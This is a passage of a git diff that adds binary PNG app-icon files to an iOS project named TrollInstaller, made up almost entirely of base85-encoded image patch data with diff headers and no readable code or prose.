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 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80-1.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80-1.png new file mode 100644 index 0000000000000000000000000000000000000000..7d3d7a92367226dc3dcbdc26056fed2ea1049185 GIT binary patch literal 8600 zcmch6do+}7+xHX_l4Kh(6_V|w?9(?azvl+yrMO`q(t+3Ou(-NB$VVe~bo@b_Uj)oFf_NYw6eCbwLfvv z!O_Xt#oOnMuix2o{-GDcE`>)#MkQQJ{5=VioN_%gD?2AQFTeO!N$KsfJ9o?ftgazF ztbJ7XxT(3N^?BQif4=OY_0szof4%A-9vOW}3<|!Q1%jg{T0#rh-4#}$OnzQu4U(o(W_J0Q~HpIXn%eFN3w{y-GJXPq;7j4} ze&(Iz4}uD20<|?1%dsg44atgN2f4%})|{(_PecDpB)Uuc^2 zrZ#WTPdpx*n+^tm`Q8wX6bpxv;S}eG*fKRtdUuCZMs{%DdACx4tMT|2O$3VwIUjG$ zP{_C5Eu}uj;9RUCEWU_(d}uhu=I;OdIOY z9?w~I+Tzp=iC|^1F9P5qSk5Vp<&niA5v+D59##ABXeRa*<6K8P~a*UzUCMd&s8} zlCUMLIKBY4<|%yT7a3JLoEjL55y5Ead|UlqfsRk-i214_COQac%e6pB@sB~NoX+iQ zJ$OZ-I)-;VjDQBG1A)_*RF+rlmpITJJ^ZaeQUCj6>o<=&@3^j*Nfnt~JETHTV$z zuux?+RZqvhv<-|Vh)M6li|@^!HdaQm^Y!{2#Fs9y?6Z6 zAo#(N18p)PhQnT&{v{(<3cMnTDr`s9(b=HQ?3IIs2mBgn6RK8bJuFbEBqGGD@$`fA zYX9LvlFP$G6m1KGk>WaEHIj@&f){#Ne`!JllPrgfc#7D=fUr4!)@X3Dox1|jA7fHa zfUC7pM1`7De*d8eY_mo^2n>uz&pdU@C*S| z%7bcitp|?KK{ch%cPcqHeQ)|HRw_sO54K;SvFd8-SO>3pf1=F-KyA(gHwWc~8bUMH z4Yztp z`PdoPX)h1Cw5q=D@b?ySP7N_DlDNoO?GeypHZIFp2#4yuhxiCKK2K;g(jxE4hqK7J zcqPhyXx+X8JTbN!^T0%SkAqjmlsRU1CpyQ3y*CYT>^K-X6zKANTu*fu40!+|)(HEV zG8P3WNik=+fS^(+iM{A5ry7Ge3o3LG)3pyot^}jM-$0!J;Dr=9zEj)Cs_w@z-&J<@ z&E>)?0}0pI&bqKqxa|@6-8dPnYf}?|;KK9xM?l$g*kje0an@_EulUVKqlNYLgA-PH z9ey>COTU}`srR~+7tcnpXi%c3Jdj8yO1t4n5R<-+Zgr%kdT1_E<+@Nusk1Lp%~^!5 z!91cAb(Ta?f5!rX?;;iLXT{cmE) z&0=mUa1~$HwM@EMmbbr*oTz=e@TGUnZ-}~j%W;(2`O6v^o$g;(Z)&AdeFKR?$)cdd z2_gJ*JZcM8mZ&X)MIkg6tE`K(5@yj$rqs<8gJ{$?gx>HItO=;e2`{jKL#OPN*yKXB za$;@=LeLCU%(hk{cY#u6v}_Q5-R=kn4`1|68SG_hLq}MM^o~UG0+oSx!XaL3Cu+;| zyuWs+!&Cvm`0T@qy^OO`uFa#-6s?ksk=u)_ZGF^?gZ6nfc)Fi{uq1-LS$*i3H!+RV z&B=mx+xGxM3Df?=*u@(M9t~Q)2Kyf#k@isYobl?OYf;r8Z8JU}IiP8Kr+jAY8Zbj! z&*??CGI~591F;uF9>BdqHO28&9UUMmkkLm`Y#PIwu|=>fs+5ICPLO3AAPy-O$q0Vf z6TZbbKlv%CHI3<<+|ZG^e@0U85?IY(0-L&&BX)6r ziC`HgA&Jw1cBCr4+Y@WV!wcV5DZT)Z4IDxSTnl>+OrRroK&32%2Bw~dQyPl3v#Q}A z1Iy?~4|LA7vrQyUH-pmGg~k}aUSAJgzn9t%>g<&w#_z*Nnai#$GISt^t^n;H??r9r z!^d!He6gJ}(lJC;e5)gWhcu^_;W4ofolo2$f?XnKF`InTfgsLl zs6LcuB^=OJCU8f@E8gUX;df3)jG=dSoa7zHjlp*c_hOO2dLKGJ1y?k=-m8w&!q}k~ zg7%DF%L2x)>oRu)nF{uKEg2AMeQW4?=askk&vyyxW2@P1NfdQvld&E`5S!K zKckR}ZQzMncpdY({_+&4&n*yC;B+8qZnL031dC)&sBuleu?iAj4_XGl(#MER`iwMh zmg!AU-yQfgiOR)Cp(n~{@STawLVWWz&q#^^K)yj5Rh73FAGgU5{C4R1vFP3YxSIR$ zqIkY3MB{1lFOH%@Rtf&}`65mGVT(5b+yrRus_z+S1ZeK|!lX={8E$R=Qk_5fl?|sY ztI;VEV=F5x8T~wp7Btcmq|=@u?<*hSENGZT=Z>(k#xJ~WA1#I_yUY7_h3Ybq;ibWX zd%Nrv^}*1qKMbSJ?5=FIcGPGJ8p}!^6~R1&`4nrm^|)zS4&O8A3{;Wx?Fah6>&G@O zPm}+_I$A2@MSqLdj=a@(E!gm_J7%e~r}G4;e#*^%rXKxH1pAxxgr(TOS#Q54g0*gp zxBoaPI8c>jhnk;bCn|h~JNAO%-KrEB(4mnvfXIDEpVjgoKR?dbs(}hz!3+$lx13Sfp%c!&=i2QB zIrWFL<^jG~%NKPf!=X!o|z< ztjgkE!-3<3tVX^KFyBLlVb!6$FgOj7Lu`Sk&jSxzdA4pm+%cA$lJm16+|~%(KA?9- z5s1se9!;vp4OXdwuTk6QKtjI79a4YMi2e7DGUn(L5n0t1Jt76q7`^_3OQtK)anWPv;gq!dybj&P@4} znk;MW2$Fl?<@n9i*~ewf<~CZOH;wu{XSv7D6BH`kK<~n7V-G;mX*{b1rYiNaM*(wd zhdg+MZY$kAs0|UgNrJnpddr=PC=?VQ-5PB*Gz|-b znuW4Qc$b93=oWMyWh>th(w`+mI`ip%+{968Br}irylk0sAB*Y`{CSNzu`$T-C2kwc z6Q7*zRG`Ne>>JVw2Qn3&?)L5X#YNA4MZ&!G1lcqUVsqJudxEvSl9 z#o7YnnL?d~p&(2+T|>1tQ6TX>=2d($Avf+&t&G4!@6}<$7cct}#TJLR8gJQIP}QGU z>-B^qw`Lu@_{PZlvaoIg{t5FDUx2VB$vlx(xH6OArxo}^(ZY+Xx(^qI6P!u< zTLY12ry$^~G9%hY~WW&*!@bCplbqakOSov;7gvgJSC*2Xpdv+(Z=ek8#KalWEKz5iCE zJ;WyJQo}4N2L+sFLMDDRa{lm)aBxOWK(#^@GjRX7CyB2;leBBHG7&WL zHREQr^iRFRUqbE15S*Yqo;|el!(!X-DQ_$48Q@nIIg9W7a59Rj>`rED!HR64*>}uIY-NAaKuu zpG(0@9?}>F2i1qpJh=GW(ht2E74DJgCS8D&jSM;rCBV~hrq~E-n#3sxV|PNO8YZlv zAfwP?r<4Z=oR1K;^38xt6>Ndg>^yB*fd%i5%fao-?~AeLFqUONtFvx$J&l<1VYAIq z8>_t{SpLl34p5wK=C%Cg>l$O$ajt%WJ2sZ$V>Wed_8F#GN-{nlYhN|>6?}Pv!c57>wyOXd%rY#4d zsDo}bbH1%k$D%u)es}!V4S29()@dekXQ^OWeqvlMa~DM?+Ji$b!mIF|>lRbi^N{=a z&ZB#LMt{gPg!{jwybpV4uKPB9cG~vy%9#;6RJgQBQgWI(bFnO2s5v*IePv8jucz-G zHtnQ`(!I|{&YyQxJgoM0=6m)8qb=c^9JsZ|O`nj1I+F(l{{V=z%fuea&Ymm6?TX~P zXM7s5_T>l2k$2~}7vG4iv%<_?DXUU5xlc4Pwk?fBE9UpQaV9~Xy(fY#Jtq7zwzXLQ1x{vt9N?Yc$Ba73 zRh}dX>C~1J#V8wV?<;p>dyArfIxZxsc%)-O49pkfQ<~Bq6kl@d6u~;D_=BI&4^Pd$ zkjM&Ftsw3S)LkXn5e~_6d%1qYZWkvl;Mk~8pT7;tBV!MP_X^+fEyq~k+lo+- zziR0S#AjG~xyl6Ai%Emj|@i{Y$hpwvXL;5&9n zJUiiJ%8h%>EQ_rajVP*EXotaf`eT9y=(uefNja@l1-=(BpDsKA)%(6|2NkY&q}^Z4 zes2^-fxWmK~cBoo%ZJ^i*t@p@!GEhkDuCk z=u!?t(X4uf>+4p<{8%Wtnu#HL4tK=VOz*#ys@n3Er9yrG!`ZZDD&T9~Qy8*e@R+g( zH-l~+Tvp)e35VcP)bLa)wBH!Dsa2t{TsoT?iI}SP2676KW_$<0iUHqra+bMUtRJM8 zb^(5LZELWsHzrmqh|xt=!dm=^8K9?x-{c@9G0D_sUmEZCKEA|=PzmcVxQm*-ErKcF z%&?cne0jd0Lg9}Hgjh{`OxbgvLFr;xeXBRn$|feGkzBN5D|OofMW+oI=c=?#J;5mp z86uc;gIzLs-Kn{J#62z@CC}Cv%wLT%E16U8IaE?J8mdn3_bRzpt=?zQ?{#a~EdT1Q zq5a^4(Z^H)9B7w+I%o_%=2 z-PN?)C%++k9`pKCq+gMCC7w#TA>7PvGIm$$MOyX@O5g1vwz4X(tH8r^yKF~4`X-ip z-Xqzo*SRrFx<*}|Yu@8D9wY@>`(K&of7aS8bmT|#lomnZIUMQ}J_`5sXSFyg)#IF8Q<-v&U1X}mceKtST6?*zKPlUh$k&_uAC)^E`1a239$IH8gii*?C)XbAM> zGHKMU9Ts2(d+-mtbDWBwA#LyYGHfaVzKJic!Li)i*adZyN7D3Z8ic~uAy$J&uiwa2 zr2n?b_obg}6XRl8Q$IBq@=7mRK$_WRAI_UE&izCyja5Ykm0vyU@pP`Z=Yqbk*$s|M zYm$FPz0q+Ml0#)pZBTL9H`IvqraSBx`q^f8F54~69-`HgF{hu>O z&NK-c5~WmquR;yWYq|KgDQ-ebNLP%rcA6;-ee#N2tXag{7opFY>i#g0nUAx81^^w} zHw=NBDR_b0Bpe_r4EL>k=J-Q(Y+}|eJIh8#qmTD&OmSM+ZGX(1kZ9RFK(}qS=sJ;a zbk|H%I}H)tsWQ{glP0=OuAWS4qA=D*z$Bq;;C*PyXZ(8{q|eCg2;{jhPAD6C2``GZ7%ImlM8=<8SK4+Rdjxk=@Cs{u#&Cj66N{Q z9Olk2N44}WeCU<$pDH1OP1bqK%{5Bbiw7Qk6GU4+;uu^NxKutHsyrXfezbyPu*SvZ z7q=D*Tqd6m$$p>W>G12mK#R_M9v}FXXP&*xtQW&uXEgZ_exS$eSftW<|=gX<@(6CoM1;2j}N*S>^hDt6uy%Al8+ieyjgatXx1o;UV}kl|hr*`1l-l zoB}4PuS$CitIwX+JO%1!V^7w8jI>?3{$zrYN?LrGIGj~A{B82sbEgkk*TM|Ul^7~- zTAqERZ5skUC-0ZA=?XpcWLzTa_0^9!?T2cb>3!a3o_(l1>Ql1dTWg}HI$Rvtccn7e ztCHorqY~4+dw)R1Y<%*i$jk?X0r0zicHafir}Q#%f7Z#!;d=Lg+A!UbLY8$O$>w;? zUh6M>W2jvmrKJQFe4F4|g$aUC)(ougLd%&)_zu#j^2mc&8_1LAwGgB@%#yvGqLA4U z046x&b0__>TV5!dn5S*|N`G1U@Ycnf6aKbSCzYf51-zy7;m2CkG>pVepR+5D+!-_!kncHWEBZFq-S=N5|NWCix(un5N54K<2^ z9EH9{vyvPF8V+-l#1B{i_rf@0y>zF^U@vNOga(5U^JlTe!Il(c+d~z{q#K-)JT;=h zh9Z!y(Ggw=mhJrf0n;+0DU;d%Ey=Q~@wT2_e@(CnX^Ev#u;h;L-q!pjryEM?Pi|9- z*N!}9{fY(Lv1>O-m`jSs5TVoc>aQYAogAVuqXnZs16%|*#kpSqYR7qTT_1`M1CKD; z+RV^V@Etq5^_6dIOMm-`89@pdCC!wRdn(#WBG@WFh~{9yx~A1c1( z&PF8lM|8a~b-KSJanxH=1-_cir?&R z4qkpRzb;)N9A6N@#;O+wo5ZT|PHIH5p!?rrA8j-*QGxy1zbF)d5HiH?l*Y(O9~^&% zLX~!3oB62Mhr|*ShZaN~&BWhEHu5G(PR$qpSZO foMS7_2^H41QF-vPU)u?W&k@+W|Nl*RSTylpB|nP> literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80.png new file mode 100644 index 0000000000000000000000000000000000000000..7d3d7a92367226dc3dcbdc26056fed2ea1049185 GIT binary patch literal 8600 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 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/87.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/87.png new file mode 100644 index 